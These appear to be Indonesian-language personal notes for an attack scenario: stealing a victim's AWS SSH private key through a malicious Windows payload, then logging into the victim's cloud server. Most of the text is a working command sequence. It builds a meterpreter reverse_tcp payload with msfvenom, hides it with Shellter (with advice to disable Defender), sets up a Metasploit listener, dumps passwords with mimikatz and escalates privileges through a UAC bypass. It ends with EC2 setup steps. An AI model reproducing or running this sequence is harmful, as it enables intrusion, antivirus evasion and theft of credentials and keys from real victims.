HACK MENGGUNAKAN CLOUD COMPUTING

KONEKSI SSH

AWS Debian PC Korban (windows Chandra)

PAYLOAD

Attacker (Kali Linux)

1. Atrracker metasploit (https://resources.infosecinstitute.com/topic/how-to-attack-windows-10-machine-with-metasploit-on-kali-

linux/)
2. download /home/chandra/debianawskey.pem /home/kali
3. download C:\Users\Dell\Downloads\debianawskey.pem /home/kali/
4. Shellter digunakan untuk menyembunyikan file payload agar tidak terdeteksi sebagai virus, tetapi windows 10 sudah bisa
mendeteksi, sehingga harus mematikan defender di computer korban terlebih dahulu
SKENARIO
1. Create server di AWS
2. Output nya private key untuk akses ke SSH (debianawskey.pem)
3. Atrracker buat payload untuk mencuri file private key yang digunakan korban untuk mengakses servernya
4. Korban membuka file payload yang sudah dibuat
5. Attacker mencari dan mendownload file private key korban
6. Attacker berhasil connect ke server korban dengan menggunakan private key korban

Attack Windows 10 machine with Metasploit on Kali Linux

1. ifconfig
2. msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.1.6 lport=4444 -O
/root/something32.exe
3. sudo apt-get install shelter
4. wineconsole /usr/share/windows/shelter.exe
5. Ketikkan A
6. Ketikkan /root/something32.exe
7. Ketikkan Y
8. Ketikkan L
9. Ketikkan index : 1
10. LHOST : 192.168.1.6
11. LPORT : 4444
12. msfconsole
13. use multi/handler
14. set payload windows/meterpreter/reverse_tcp
15. set LHOST 192.168.1.6
16. set LPORT 4444
17. run
18. getuid -> load stdapi
19. load mimikatz
20. mimikatz_command -f sekurlsa::logonPasswords
21. getsystem
22. background
23. use exploit/windows/local/bypassuac_comhijack
24. set SESSION 2
25. set payload windows/x64/meterpreter/reverse_tcp
26. set LHOST 192.168.1.6
27. set LPORT 4444
28. run
29. sysinfo

AWS
1. Buka aws
2. Klik EC2
3. Lauch Instances
4. Pilih Debian 10
5. Choose Instance Type -> Next
6. Configure Instance -> Next
7. Add Storage -> Next
8. Add Tags -> Next
9. Configure Security Group -> Add Rule -> ALL ICMP – Ipv4 ->copy IP -> Review and Lauch
10. Lauch -> Choose an existing key pair (debianawskey.pem) -> centang -> launch instances
11. Klik EC2 -> instances id -> SSH client -> copy example
12. Buka CMD -> copas dan jalankan